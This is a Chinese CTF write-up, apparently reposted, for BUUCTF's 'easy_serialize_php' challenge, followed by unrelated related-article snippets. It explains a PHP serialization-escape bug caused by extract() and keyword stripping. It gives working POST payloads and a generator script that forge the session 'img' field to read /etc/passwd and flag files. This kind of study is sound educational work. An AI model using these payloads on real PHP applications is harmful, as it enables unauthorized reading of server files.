BUUCTF [安洵杯 2019]easy_serialize_php 1 詳細講解

題目來自buuctf,這是一題關于php序列化逃逸的題

1. 題目

題目給出的代碼

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

2. 分析

在這里插入圖片描述

extract($_POST);   # 導入變量$_SESSION['img'] = base64_encode('guest_img.png');  # 改變SESSION[img]=一個固定值$serialize_info = filter(serialize($_SESSION));  # 序列化SESSION + 過濾,這里造成逃逸$userinfo = unserialize($serialize_info);   # 反序列化echo file_get_contents(base64_decode($userinfo['img']));   # base64解碼并讀取內容

可以看出是通過$_SESSION['img']來讀取文件

extract可以將數組中的變量導入當前變量表

也就是說我們可以偽造$_SESSION 數組中的所有數據

_SESSION[user]=123&_SESSION[function]=456

因為extract是在

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

這兩條語句后調用的,所有會覆蓋里面的變量,但是后面的 $_SESSION[‘img’]覆蓋不了
所以我們需要利用filter函數
他將一些關鍵字進行了置空,也就是從這里發生的逃逸

3. 構造參數

如果你對php序列化的格式不了解,那么你需要先學習一下,這里我粗略講一下

echo serialize(["a"=>"b","c"=>"d"]);a:2:{s:1:"a";s:1:"b";s:1:"c";s:1:"d";}

比如序列化一個列表
上面第一個字符 a 表示array(數組)
每個字段由:分隔,后面的2表示這個列表的大小為2
{}里面的內容就是數組的內容了,數組包含鍵值
s代表字符串,后面1表示這個字符串長度為1,"a"就是它的內容了
;表示結束,里面4個字符串,也就是兩對鍵值對

既然filter能將內容制空,那我們可以做出以下利用

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

我們傳遞的post參數最終會變成這樣

"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:12:"d2xiIGlzIG5i";i:0;i:1;}";}"

我們傳遞的_SESSION[a]在序列化后會全部被置空,但是!我們的字符串長度還在,就會造成后面的內容被當成字符串
構造只夠長的字符串長度,將_SESSION[img]里面的內容掠過,一直覆蓋到我們_SESSION[exp]中的內容
可以看出,_SESSION[exp]里面有一個偽造的img內容,通過這種方式,就可以構造任意的_SESSION[img]字段,讀取任意文件

后面 的i:0;i:1, i代表數字,0代表鍵,就是0,值也是數字,值為1,索引為0,值為1

echo serialize([1]);a:1:{i:0;i:1;}

因為我們覆蓋了一個鍵值對,所以我們需要補充回去,遇到}時就停止檢測了,即使后面還有字符串

這里寫了個腳本,使用 php 腳本.php即可執行

<?php
$e = "/etc/passwd";    # 這里填寫需要讀取的文件
$e = base64_encode($e);
echo '_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=';
echo ';s:3:"img";s:'.strlen($e).':"'.$e.'";i:0;i:1;}';

這里傳遞 phpinfo 這個值可以執行phpinfo()查看php信息
在這里插入圖片描述
可以看到一個文件 d0g3_f1ag.php 通過讀取這個文件拿到flag

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;}

在這里插入圖片描述

再讀取 /d0g3_fllllllag 文件

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

在這里插入圖片描述
拿下flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/40676.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/40676.shtml
英文地址,請注明出處:http://en.pswp.cn/news/40676.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【重復處理】CRUD接口冪等性處理

保證冪等性的核心思想&#xff1a;通過唯一的業務單號保證冪等 非并發情況下&#xff0c;查詢業務單號有沒有操作過&#xff0c;沒有則執行操作針對第一次執行業務時間&#xff0c;有大量并發情況下&#xff0c;整個操作過程加鎖&#xff0c;通過分布式鎖來加鎖Select操作&…

時序預測 | MATLAB實現基于CNN-BiGRU卷積雙向門控循環單元的時間序列預測-遞歸預測未來(多指標評價)

時序預測 | MATLAB實現基于CNN-BiGRU卷積雙向門控循環單元的時間序列預測-遞歸預測未來(多指標評價) 目錄 時序預測 | MATLAB實現基于CNN-BiGRU卷積雙向門控循環單元的時間序列預測-遞歸預測未來(多指標評價)預測結果基本介紹程序設計參考資料 預測結果 基本介紹 MATLAB實現基于…

Dubbo基礎學習

目錄 第一章、概念介紹1.1&#xff09;什么是RPC框架1.2&#xff09;什么是分布式系統1.3&#xff09;Dubbo概述1.3&#xff09;Dubbo基本架構 第二章、服務提供者(直連)2.1&#xff09;目錄結構和依賴2.2&#xff09;model層2.3&#xff09;service層2.4&#xff09;resources…

【eNSP】交換機(vlan和vlan間通信)

【eNSP】交換機&#xff08;vlan和vlan間通信&#xff09; 原理術語過程 實驗根據圖片連接模塊配置設備名稱和IP地址配置交換機交換機鏈路指定sw1配置sw2配置 設置網關交換機互聯實驗設置查看設置結果 ospf配置 原理 HUB集線器&#xff1a;它的作用可以簡單的理解為將一些機器…

【算法系列篇】雙指針

文章目錄 前言什么是雙指針算法1.移動零1.1 題目要求1.2 做題思路1.3 Java代碼實現 2.復寫零2.1 題目要求2.2 做題思路2.3 Java代碼實現 3.快樂數3.1 題目要求3.2 做題思路3.3 Java代碼實現 4.盛最多水的容器4.1 題目要求4.2 做題思路4.3 Java代碼實現 5.有效三角形的個數5.1 題…

k8s 自身原理 4

前面咱們分享了 mater 和 worker 節點里面都有哪些組件&#xff0c;他們又是各自主要負責的工作是什么&#xff0c;現在我們心里應該都有數了吧 master 節點&#xff1a; etcd 存儲資源配置&#xff0c;ApiServer 提供 RESTful Api 用于交互&#xff0c;scheduler 用于調度 p…

VS2019 + Qt : setToolTip的提示內容出現亂碼

VS2019 Qt : setToolTip的提示內容出現亂碼 在使用setToolTip()時&#xff0c; setToolTip(QString("asd你好&#xff01;");標簽提示只有英文是對的&#xff0c;中文是亂碼&#xff01; 應該是編碼出了問題。默認情況下&#xff0c;Qt使用的是UTF-8編碼&#xf…

踩坑經驗:JavaScript 中的 for...of 和 for...in 循環

在 JavaScript 編程中&#xff0c;for...of 和 for...in 是常用的循環語法&#xff0c;但它們在使用時可能會引發一些意想不到的問題。本文將分享我在使用這兩種循環時所遇到的坑和經驗。 兩者的區別&#xff1a; 適用對象類型&#xff1a; for…of&#xff1a;主要用于遍歷可…

數據結構-帶頭雙向循環鏈表的實現

前言 帶頭雙向循環鏈表是一種重要的數據結構&#xff0c;它的結構是很完美的&#xff0c;它彌補了單鏈表的許多不足&#xff0c;讓我們一起來了解一下它是如何實現的吧&#xff01; 1.節點的結構 它的節點中存儲著數據和兩個指針&#xff0c;一個指針_prev用來記錄前一個節點…

Git詳解及使用

Git簡介 Git 是一種分布式版本控制系統&#xff0c;它可以不受網絡連接的限制&#xff0c;加上其它眾多優點&#xff0c;目前已經成為程序開發人員做項目版本管理時的首選&#xff0c;非開發人員也可以用 Git 來做自己的文檔版本管理工具。 大概是大二的時候開始接觸和使用Gi…

云計算——ACA學習 云計算核心技術

作者簡介&#xff1a;一名云計算網絡運維人員、每天分享網絡與運維的技術與干貨。 座右銘&#xff1a;低頭趕路&#xff0c;敬事如儀 個人主頁&#xff1a;網絡豆的主頁????? 寫在前面 本系列將會持續更新云計算阿里云ACA的學習&#xff0c;了解云計算及網絡安全相關…

DeepSpeed加速大模型訓練

DeepSpeed是微軟推出的一個框架&#xff0c;可以對Pytorch的模型進行包裝&#xff0c;提供了加快模型的訓練速度&#xff0c;降低對GPU顯存的占用&#xff0c;以及方便進行分布式訓練等等高級特性。在這里我也對DeepSpeed進行了測試&#xff0c;看看是否能提高我的transformer模…

Maven 插件 maven-antrun-plugin 執行 ant 腳本

Ant 相信大家都不陌生&#xff0c;你可以把它理解為使用 xml 格式描述的一系列命令處理工具。它是一種基于Java的build工具。理論上來說&#xff0c;它有些類似于&#xff08;Unix&#xff09;C中的make、有些類似于基于shell命令編寫的sh腳本文件。Ant 用 Java 的類來擴展。&a…

多維時序 | MATLAB實現PSO-CNN-BiLSTM多變量時間序列預測

多維時序 | MATLAB實現PSO-CNN-BiLSTM多變量時間序列預測 目錄 多維時序 | MATLAB實現PSO-CNN-BiLSTM多變量時間序列預測基本介紹模型特點程序設計參考資料 基本介紹 本次運行測試環境MATLAB2021b&#xff0c;MATLAB實現PSO-CNN-BiLSTM多變量時間序列預測。代碼說明&#xff1a…

Java mail郵件開發 OA辦公系統

目錄 1 Java mail郵件開發 OA辦公系統 1.1 //用戶登錄 1.2 //用戶注冊 1.3 //根據郵箱賬號查詢用戶ID Java mail郵件開發 OA辦公系統package com.email.dao.impl; import java.sql.Connection; import java.sql.PreparedStatement;<

POSTGRESQL 關于2023-08-14 數據庫自動啟動文章中使用KILL 來進行配置RELOAD的問題解釋...

開頭還是介紹一下群&#xff0c;如果感興趣Polardb ,mongodb ,MySQL ,Postgresql ,redis &#xff0c;SQL SERVER ,ORACLE,Oceanbase 等有問題&#xff0c;有需求都可以加群群內有各大數據庫行業大咖&#xff0c;CTO&#xff0c;可以解決你的問題。加群請加 liuaustin3微信號 &…

Oracle執行計劃

Oracle執行計劃 1. 什么是執行計劃Oracle explain使用3. Explain執行順序 1. 什么是執行計劃 執行計劃是一條查詢語句在Oracle中的執行過程或訪問路徑的描述。 執行計劃描述了SQL引擎為執行SQL語句進行的操作&#xff1b;分析SQL語句相關的性能問題或僅僅質疑查詢優化器的決定…

蔚來李斌賣手機:安卓系統,蘋果售價,一年一發

?作者 | Amy 編輯 | 德新 車圈大佬的玩法真讓人尋不著套路&#xff01; 蘋果的庫克和小米的雷布斯&#xff0c;甚至是FF賈老板準備許久&#xff0c;都想分一塊新能源車的蛋糕&#xff0c;蔚來李斌卻反手進軍手機界&#xff0c;從宣布造手機到手機入網僅僅隔了一年。 近期…

說幾個常見的語法糖

目錄 面試回答 知識擴展 如何解語法糖&#xff1f; 糖塊一、swith 支持 String 與枚舉 糖塊二、泛型 糖塊三、自動裝箱與拆箱 糖塊四、枚舉 糖塊五、條件編譯 糖塊六、斷言 糖塊七、數值字面量 糖塊八、for-each 糖塊九、try-with-resource 可能遇到的坑 泛型 自…

Beats:安裝及配置 Metricbeat (一)- 8.x

在我之前的文章&#xff1a; Beats&#xff1a;Beats 入門教程 &#xff08;一&#xff09;Beats&#xff1a;Beats 入門教程 &#xff08;二&#xff09; 我詳細描述了如何在 Elastic Stack 7.x 安裝及配置 Beats。在那里的安裝&#xff0c;它通常不帶有安全及 Elasticsearc…